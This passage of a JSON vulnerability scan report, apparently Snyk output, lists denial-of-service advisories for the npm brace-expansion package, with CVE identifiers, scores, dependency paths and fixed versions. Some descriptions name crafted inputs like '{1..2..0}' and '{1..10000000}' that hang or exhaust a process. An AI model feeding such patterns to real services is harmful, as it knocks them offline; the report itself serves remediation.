">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": 